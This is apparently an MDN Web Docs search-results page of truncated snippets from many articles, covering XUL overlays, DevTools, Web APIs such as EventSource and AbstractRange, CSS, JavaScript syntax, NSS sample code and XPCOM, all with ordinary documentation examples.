...const nssupportsstring = components.constructor("@mozilla.org/supports-string;1", "nsisupportsstring"); function supportsstring(str) { // create an instance of the supports-string class var res = nssupportsstring(); // store the javascript string that we want to wrap in the new nsisupportsstring object res.data = str; return res; } // create a constructor for the built-in transferable class const nstransferable = components...
....constructor("@mozilla.org/widget/transferable;1", "nsitransferable"); // create a wrapper to construct an nsitransferable instance and set its source to the given window, when necessary function transferable(source) { var res = nstransferable(); if ('init' in res) { // when passed a window object, find a suitable privacy context for it.
...And 11 more matches
XUL Overlays
MozillaTechXULOverlays
though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components.
...the installation of a media plug-in, for example, may add new icons and menu items to the interface: in the navigatoroverlay.xul file or in a separate navigatorsspoverlay.xul file (where navigator.xul defines the basic ui for the navigator package), these new plug-in elements would be defined as a collection of elements or subtrees: <menuitem name="super stream player"/> <menupopup name="ss favorites"> <menuitem name="wave" src="mavericks.ssp"/> <menuitem name="soccer" src="brazil_soccer.ssp"/> </menupopup> <titledbutton id="ssp" crop="right" flex="1" value="&ssbutton.label;" onclick="firessp()"/> overlays and id attributes bases and overlays are merged when they share the same id attribute.
...<menu id="file-menu"> <menupopup id="menu_filepopup"> <menuitem name="new"/> <menuitem name="open"/> <menuitem name="save"/> <menuitem name="close"/> </menupopup> </menu> ...
...And 11 more matches
Debugger.Source - Firefox Developer Tools
the two cases are distinguished by the latter having its introductiontype property always being "wasm" and the former having its introductiontype property never being "wasm".
...the text generation is disabled if the debugger has the allowwasmbinarysource property set, the "[wasm]" value will be returned in this case.
... (note that code passed to eval, the function constructor, or a similar function isnot considered to be loaded from a url; the url accessor on debugger.source instances for such sources should return undefined.) if the instance refers to webassembly code, the url of the script that called new webassembly.module with the string "> wasm" appended.
...And 11 more matches
DevTools API - Firefox Developer Tools
there is no way to "close/destroy" a toolpanel.
...to use the gdevtools api from an add-on, it can be imported with following snippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a new tool and adds a tab to each existing toolbox.
... let def = { id: "my-tool", label: "my tool", icon: "chrome://browser/skin/devtools/tool-webconsole.svg", url: "about:blank", istargetsupported: target => true, build: (window, toolbox) => new mytoolpanel(window, toolbox) }; // register it.
...And 11 more matches
Index - Firefox Developer Tools
2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... 4 color vision simulation accessibility, accessibility inspector, color blindness, devtools, guide, simulation, tools the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss.
...the two cases are distinguished by their format property being "js" or "wasm".
...And 11 more matches
Tips - Firefox Developer Tools
node: right-click a node within the inspector and click "screenshot node".
... click the "ev" icon besides a node to see all event listeners attached to it.
... press s with a node selected to see it in the page (same as right-click a node and click "scroll into view").
...And 11 more matches
AbstractRange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#...
...f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties collapsed read only a boolean value which is true if the range is collapsed.
...in order to set a range endpoint within the text of an element, be sure to find the text node inside the element: let startelem = document.queryselector("p"); let endelem = startelem.queryselector("span"); let range = document.createrange(); range.setstart(startelem, 0); range.setend(endelem, endelem.childnodes[0].length/2); let contents = range.clonecontents(); document.body.appendchild(contents); this example creates a new range, rng, and sets its starting point to the third child node of the first element whose class is elementclass.
...And 11 more matches
HTMLFormElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarge...
...t</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="...
...consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="...
...And 11 more matches
Using server-sent events - Web APIs
for example: const evtsource = new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a new eventsource object should be created with both the url and an options dictionary.
... for example, assuming the client script is on example.com: const evtsource = new eventsource("//api.example.com/ssedemo.php", { withcredentials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by attaching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.appendchild(newelement); } this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and appends the message text to a list in the document's html.
... you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.appendchild(newelement); }); this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information.
...And 11 more matches
system - CSS: Cascading Style Sheets
for example, if the original symbols provided were "" and "", on each successive pass, they will become "◽◽" and "◾◾", "◽◽◽" and "◾◾◾" and so on.
...if the characters "a" to "z" are specified as symbols in a counter style, with the alphabetic system, then the first 26 counter representations will be "a", "b" upto "z".
...however, after "z", it will continue as "aa", "ab", "ac"… the symbols descriptor must contain at least two symbols or the counter style is not valid.
...And 11 more matches
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<fill-rule> = nonzero | evenodd<box> = border-box | padding-box | content-box examples comparison of html and svg <svg class="defs"> <defs> <clippath id="mypath" clippathunits="objectboundingbox"> <path d="m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z" /> </clippath> </defs> </svg> <div class="grid"> <div class="col"> <div class="note">clip-path: none</div> <div class="row"> <div class="cell"> <span>html</span> <div class="contain...
...er"> <p class="none"> i love<br><em>clipping</em> </p> </div> </div> <div class="cell"> <span>svg</span> <div class="container viewbox"> <svg viewbox="0 0 192 192"> <g class="none"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> <div class="note">clip-path: url(#mypath)<br><br> assuming the following clippath definition: <pre> &lt;svg&gt; &lt;clippath id="mypath" clippathunits="objectboundingbox"&gt; &lt;path d="m0.5,1 c 0.5,1,0,0.7,0,0.3 a 0.25,0.25,1,1,1,0.5,0.3 a 0.25,0.25...
...,1,1,1,1,0.3 c 1,0.7,0.5,1,0.5,1 z" /&gt; &lt;/clippath&gt; &lt;/svg&gt;</pre> </div> <div class="row"> <div class="cell"> <span>html</span> <div class="container"> <p class="svg"> i love<br><em>clipping</em> </p> </div> </div> <div class="cell"> <span>svg</span> <div class="container viewbox"> <svg viewbox="0 0 192 192"> <g class="svg"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> <div class="note">clip-path: path('m15,45 a30,30,0,0,1,75,45 a30,30,0,0,1,135,45 q135,90,75,130 q15...
...And 11 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
to disable video autoplay, autoplay="false" will not work; the video will autoplay if the attribute is there in the <video> tag at all.
... in safari, you can use x-webkit-airplay="deny" as a fallback.
... playsinline a boolean attribute indicating that the video is to be played "inline", that is within the element's playback area.
...And 11 more matches
Groups and ranges - JavaScript
characters meaning x|y matches either "x" or "y".
... for example, /green|red/ matches "green" in "green apple" and "red" in "red apple".
...they match the "b" in "brisket", and the "c" in "chop".
...And 11 more matches
Intl.Collator() constructor - JavaScript
possible values include: "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan".
... the "standard" and "search" values are ignored; they are replaced by the options property usage (see below).
... kn whether numeric collation should be used, such that "1" < "2" < "10".
...And 11 more matches
Lexical grammar - JavaScript
an example is as follows: #!/usr/bin/env node console.log("hello world"); note: hashbang comments in javascript mimic shebangs in unix used to run files with proper interpreter.
...base number (integer or floating), followed by e char (which serves as separator or exponent indicator) and n, which is exponent or power number – a signed integer (as per 2019 ecma-262 specs): 0e-5 // => 0 0e+5 // => 0 5e1 // => 50 175e-2 // => 1.75 1e3 // => 1000 1e-3 // => 0.001 binary binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b).
...if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b".
...And 11 more matches
Nullish coalescing operator (??) - JavaScript
const nullvalue = null; const emptytext = ""; // falsy const somenumber = 42; const vala = nullvalue ??
... "default for a"; const valb = emptytext ??
... "default for b"; const valc = somenumber ??
...And 11 more matches
Authoring MathML - MathML
to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pa...
...there is also a similar script to display a warning at the top of the page for browsers without good mathml support and let the users choose between one of the fallback above: <script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script> if you don't want to use this link to github but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of mathml support.
... for example the following function verifies the mathml support by testing the mspace element (you may replace mspace with mpadded): function hasmathmlsupport() { var div = document.createelement("div"), box; div.innerhtml = "<math><mspace height='23px' width='77px'/></math>"; document.body.appendchild(div); box = div.firstchild.firstchild.getboundingclientrect(); document.body.removechild(div); return math.abs(box.height - 23) <= 1 && math.abs(box.width - 77) <= 1; } alternatively, the following ua string sniffing will allow to detect the rendering engines with native mathml support (gecko and webkit).
...And 11 more matches
OpenSearch description format
<opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> ...
... <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> shortname a short name for the search engine.
...(you can generate a data: uri from an icon file at the data: uri kitchen.) <image height="16" width="16" type="image/x-icon">https://example.com/favicon.ico</image> <!-- or --> <image height="16" width="16">data:image/x-icon;base64,aaabaaeaebaaa … daaa=</image> firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder).
...And 11 more matches
Compiling from Rust to WebAssembly - WebAssembly
this installs a tool called "rustup", which lets you manage multiple versions of rust.
... let's write some rust let's put this code into src/lib.rs instead: use wasm_bindgen::prelude::*; #[wasm_bindgen] extern { pub fn alert(s: &str); } #[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("hello, {}!", name)); } this is the contents of our rust project.
... using wasm-bindgen to communicate between rust and javascript the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust.
...And 11 more matches
test/assert - Archive of obsolete content
for example: var a = 1; exports["test value of a"] = function(assert) { assert.ok(a == 1, "test that a is 1"); } require("sdk/test").run(exports); globals constructors assert(logger) create a new assert object.
... assert.ok(a == 1, "test that a is equal to one"); this is equivalent to: assert.equal(a == 1, true, "test that a is equal to one"); parameters guard : expression the expression to evaluate.
... equal(actual, expected, message) tests shallow, coercive equality with ==: assert.equal(1, 1, "test that one is one"); parameters actual : object the actual result.
...And 10 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module.
... a simple code snippet where content script is supplied as contentscript option and url pattern is given as include option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it.
... use contentscriptfile option instead of contentscript and pass it script url which can be obtained using self.data.url("my-script.js").
...And 10 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
however, if the document is loaded into <iframe type="content"> or <browser type="content">, it will be considered a content document, and so will be all the frames it loads (the "type" attribute is ignored at that point).
...this means for example that javascript code top.location.href = "about:blank" will only unload the content document but won’t have any effect on the chrome.
...if you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite having extended privileges.
...And 10 more matches
Adding menus and submenus - Archive of obsolete content
the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(even...
...t);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoolhello.greet.custom.label;" oncommand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
...menus require a menupopup element as a container for its children, which are usually menuitem elements, but can also be menuseparator, or menu in order to have multiple nesting levels: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menu id="xulschoolhello-greeting-sizes-menu" label="&xulschoolhello.greetingsizes.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> ...
...And 10 more matches
Bookmark Keywords - Archive of obsolete content
that's pretty interesting on its own, but mozilla takes it a step further by allowing the user to define an "entry point" for added information.
... for example, a keyworded bookmark could be set up so that a user could type <tt>google spam and eggs</tt> and thereby trigger a google search for the words "spam and eggs." because these tools require bookmarks with specific keywords in order to work, they will be referred to hereafter as keymarks, as distinct from regular bookmarks.
... to file this bookmark open the "bookmarks" menu in the browser and select "add bookmark," or by of use the keyboard equivalent (e.g., <tt>cmd-d</tt> on macintosh).
...And 10 more matches
Accesskey display rules - Archive of obsolete content
e.g., when an accesskey of "file" is 'f', the generated label will be "file".
...e.g., when an accesskey of "open" is 'a', the generated label will be "open (a)".
...i.e., when an accesskey of "open…" is 'a', the generated label will be "open (a)…".
...And 10 more matches
Skinning XUL Files by Hand - Archive of obsolete content
by the way, in contrast to the term skin, "chrome" refers to the skin and the content and whatever localization and platform-specific files are necessary for a particular part of the application or window.
...for example, when a button is defined as follows: <button class="plain" label="push me" /> then the following very simple style definition applies to that button.
...to keep your xul looking consistent and to avoid breaking skins altogether (when your styles have some dependency on a part of the global skin that changes, such as an image), use the style rules in the global skin by importing it into your stylesheet with the following instruction: @import url("chrome://global/skin/"); refer to the document writing skinnable xul and css for guidelines on how to make your skins friendly to the global skin, to xul, and to mozilla.
...And 10 more matches
XUL accessibility guidelines - Archive of obsolete content
the firefox "bookmarks manager" provides an example of how to make trees more accessible.
...(firefox's "print preview" window uses this fallback technique.) this should only be used as a last resort, and it should be consistent throughout a window (that is either all toolbar buttons are tabbable or none of them are).
...almost any xul element can be set to scroll by setting a style to "overflow: auto" or "overflow: scroll".
...And 10 more matches
Accessibility/XUL Accessibility Reference - Archive of obsolete content
element enabled usage comments description <description value="<!-- text -->" /> <description><!--label text--></description> use for non-label text.
... label <label control="controlid" value="<!--label text-->" /> <label control="controlid"><!--label text--></label> either syntax is fine.
... button <button label="<!--button text-->" /> <button id="butwrap1"> <label control="butwrap1"> <!--wrapped label--> </label> </button> <button id='butwrap2'> <label control="butwrap2" value="<!--this-->" /> <label control="butwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="content" attribute should be specified.
...And 10 more matches
The Implementation of the Application Object Model - Archive of obsolete content
xul stands for "extensible user interface language".
...in other words, the traditional relationship of "containment" is not the only kind of relationship expressible in rdf.
...by enforcing this distinction, we can successfully defend ourselves from any claims that we were "mucking about with strange new html" when we could have been working on our standards story.
...And 10 more matches
Other form controls - Learn web development
<textarea cols="30" rows="8"></textarea> this renders like so: the main difference between a <textarea> and a regular single line text field is that users are allowed to include hard line breaks (i.e.
...(using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text).
... <select id="simple" name="simple"> <option>banana</option> <option selected>cherry</option> <option>lemon</option> </select> if required, the default value for the select box can be set using the selected attribute on the desired <option> element — this option is then preselected when the page loads.
...And 10 more matches
Debugging HTML - Learn web development
here, the error message is relatively easy to understand — "unterminated double quote string".
... if you look at the listing, you can probably see how println!(hello, world!"); might logically be missing a double quote.
...and html's element syntax is arguably a lot easier to understand than a "real programming language" like rust, javascript, or python.
...And 10 more matches
Index - Learn web development
beginner, github, guide, web, gh-pages, git, publish github is a "social coding" site.
... 42 javascript basics beginner, codingscripting, javascript, learn, web, l10n:priority javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website.
... 44 the web and web standards beginner, front-end, learn, web, web standards this article provides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
...And 10 more matches
Handling text — strings in JavaScript - Learn web development
"missing; before statement").
... if the browser can see where a string starts, but can't find the end of the string, as indicated by the 2nd quote, it complains with an error (with "unterminated string literal").
...both of the following will work okay: let sgl = 'single quotes.'; let dbl = "double quotes"; sgl; dbl; there is very little difference between the two, and which you use is down to personal preference.
...And 10 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
previous overview: first steps next when you built up the "guess the number" game in the previous article, you may have found that it didn't work.
... try playing the game — you'll notice that when you press the "submit guess" button, it doesn't work!
...from left to right, we've got: a red "x" to indicate that this is an error.
...And 10 more matches
TypeScript support in Svelte - Learn web development
typescript "transpiles" our code to vainilla javascript.
... note: make sure you are using svelte for vs code and not the old "svelte" by james birtles, which has been discontinued.
...if we pass an unknown property in the options parameter of the app constructor (for example a typo like traget instead of target) typescript will complain: in the app.svelte component, the setuptypescript.js script has added the lang="ts" attribute to the <script> tag.
...And 10 more matches
Handling common accessibility problems - Learn web development
examples of bad and good html: <font size="7">my heading</font> <br><br> this is the first section of my document.
...<br><br> <font size="5">my subheading</font> <br><br> this is the first subsection of my document.
...<br><br> <font size="5">my 2nd subheading</font> <br><br> this is the second subsection of my content.
...And 10 more matches
Setting up your own test automation environment - Learn web development
there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this url", etc.
...google should automatically be loaded in a tab, "webdriver" should be entered in the search box, and the search button will be clicked.
... webdriver will then wait for 2 seconds; the document title is then accessed, and if it is "webdriver - google search", we will return a message to claim the test is passed.
...And 10 more matches
Accessibility/LiveRegionDevGuide
the "purge by timestamp" method will be used to remove old messages that are no longer deemed relevant while "purge by politeness" is used to satisfy the aria live politeness specification.
...in at-spi, this is accomplished by appending ":add" or ":remove" to the event string.
...in this case, the root event string is object:text-changed with ":delete" and ":insert" being appended to complete the event type.
...And 10 more matches
Cross Process Object Wrappers
if browser code tries an unsafe cpow operation, the browser will throw an exception and you'll see an "unsafe cpow usage forbidden” error in the browser console.
... add-on code is still allowed to use cpows "unsafely".
...for example, this frame script sends a dom node to chrome when the user clicks it, as the clicked property of the third argument: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-e10s-extension-message", {}, { clicked : event.target }); }, false); in the chrome script, the dom node is now accessible through a cross process object wrapper, as a property of the objects property of the message.
...And 10 more matches
Performance
the following examples omit some boilerplate code for the sake of brevity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics.
... performance best practices declaring stateless functions once per process bad: // addon.js services.mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ...
... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
...And 10 more matches
Sqlite.jsm
before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/sqlite.jsm") obtaining a connection sqlite.jsm exports the sqlite symbol.
... here is an example: components.utils.import("resource://gre/modules/sqlite.jsm"); try { const conn = await sqlite.openconnection({ path: "mydatabase.sqlite", sharedmemorycache: false }); // connection is the opened sqlite connection (see below for api).
... it is possible to automatically close the connection when the browser is closed with the shutdown hook: const conn = await sqlite.openconnection({ path: "mydatabase.sqlite", sharedmemorycache: false }); try { sqlite.shutdown.addblocker("my connection closing", async () => await conn.close()); } catch (e) { // it's too late to block shutdown, just close the connection.
...And 10 more matches
Localization and Plurals
for example, "1 page" vs "2 pages".
... plural form: for a particular plural rule, there can be multiple forms of a word, such as "page" and "pages".
...for example, english uses plural rule 1, and localizing plurals would require a string of "plural;plurals" where the first word is the singular form and the second is the general plural form.
...And 10 more matches
Profiling with Xperf
use the web installer to install at least the "win32 development tools".
... for 64-bit windows 7 or vista, you'll need to do a registry tweak and then restart to enable stack walking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly from within the program via the trace menu.
... just make sure you set the symbol paths before enabling "load symbols" and before opening a summary view.
...And 10 more matches
FIPS Mode - an explanation
nss has a "fips mode" that can be enabled when nss is compiled in a specific way.
... (note: mozilla does not distribute a "fips mode"-ready nss with firefox.) this page attempts to provide an informal explanation of what it is, who would use it, and why.
... the united states government defines many (several hundred) "federal information processing standard" (fips) documents.
...And 10 more matches
NSS Sample Code Sample1
sample code #include <iostream.h> #include "pk11pub.h" #include "keyhi.h" #include "nss.h" // key management for keys share among multiple hosts // // this example shows how to use nss functions to create and // distribute keys that need to be shared among multiple servers // or hosts.
... // utility function to print hex data static void printbuffer(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } // xxx data protection // - takes an input buffer, applies the encryption // and mac, and generates a buffer with the result.
... mwrappedenckey = secitem_dupitem(wrappedenckey); if (!mwrappedenckey) { rv = 1; goto done; } mwrappedmackey = secitem_dupitem(wrappedmackey); if (!mwrappedmackey) { rv = 1; goto done; } done: return rv; } int server::start() { int rv; seckeyprivatekey *prvkey = 0; rv = getprivatekey(&prvkey); if (rv) goto done; if (!menckey) { // unwrap the encryption key from the "file" // this function uses a mechanism rather than a key type // does this need to be "withflags"??
...And 10 more matches
Places utilities for JavaScript
rcontainernode(nsinavhistoryresultnode anode); void opencontainernodeintabs(nsinavhistoryresultnode anode, nsidomevent aevent); void openurinodesintabs(array nsinavhistoryresultnode anodes, nsidomevent aevent); void createmenuitemfornode(nsinavhistoryresultnode anode, acontainersmap); constants mimetypes type_x_moz_place_container type_x_moz_place_separator: "text/x-moz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_url: "text/x-moz-url", type_html: "text/html", type_unicode: "text/unicode", services there's easy access to some of the common services used in bookmarks or history navigation here.
... for instance, normally in order to get access to the bookmarks service, you have to run something like: components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); with places utils all you need to write is: placesutils.bookmarks this should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered.
... allbookmarksfolderid the id of the "all bookmarks" folder shown in the library's left pane.
...And 10 more matches
Querying Places
the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none.
... example of querying for any pages i've visited that contain the word "firefox" in the title/url or that i've visited today from mozilla.org.
... // first query object searches for "firefox" in title/url var query1 = placesutils.history.getnewquery(); query1.searchterms = "firefox"; // second query object searches for visited in past 24 hours and from mozilla.org var query2 = placesutils.history.getnewquery(); query2.begintimereference = query2.time_relative_now; query2.begintime = -24 * 60 * 60 * 1000000; // 24 hours ago in microseconds query2.endtimereference = query2.time_relative_now; query2.endtime = 0; // now query2.domain = "mozilla.org"; var result = placesutils.history.executequeries([query1, query2], 2, options); note: keyword searching doesn't work correctly across or queries.
...And 10 more matches
An Overview of XPCOM
performance when code is modularized, modules that are not necessary right away can be "lazy loaded", or not loaded at all, which can improve the performance of your application.
...this library is the networking module, also known as "necko." but it's not always a good idea to divide things up.
...the "stuff" that's internal to the component stays internal, and isn't exposed to xpcom.
...And 10 more matches
Index
notes: 16 cached compose window faq seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window?
... instead of destroying the mail compose window on send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead.
..."gloda" is short for the thunderbird "global database".
...And 10 more matches
Using js-ctypes
this is as simple as including the following line of code in the desired javascript scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use.
... on windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library from the core foundation framework like this: var corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use with the loaded library.
... components.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("c:\\windows\\system32\\user32.dll"); /* declare the signature of the function we are going to call */ var msgbox = lib.declare("messageboxw", ctypes.winapi_abi, ctypes.int32_t, ctypes.int32_t, ctypes.jschar.ptr, c...
...And 10 more matches
Edit fonts - Firefox Developer Tools
the fonts tab has three major sections: "fonts used" by the currently inspected element.
... "all fonts on page" — this section lists all of the fonts in use on the page.
... in firefox 61 and 62, this area is labeled "other fonts in page" and doesn't include the fonts mentioned in the "fonts used" section.
...And 10 more matches
Examine and edit CSS - Firefox Developer Tools
in the following example, a spelling error, "background-colour" instead of "background-color" has made the rule invalid: rule display it displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
... to view user-agent styles (i.e., browser-default css rules), enable "inspector > show browser styles" under the developer tool settings panel.
... (note that this setting is independent of the "browser styles" checkbox in the computed view.) user-agent styles are displayed against a different background, and the link to the filename and line number contains the prefix (user agent): element {} rule the element {} rule at the top of the rules list isn't actually a css rule.
...And 10 more matches
HTMLTextAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
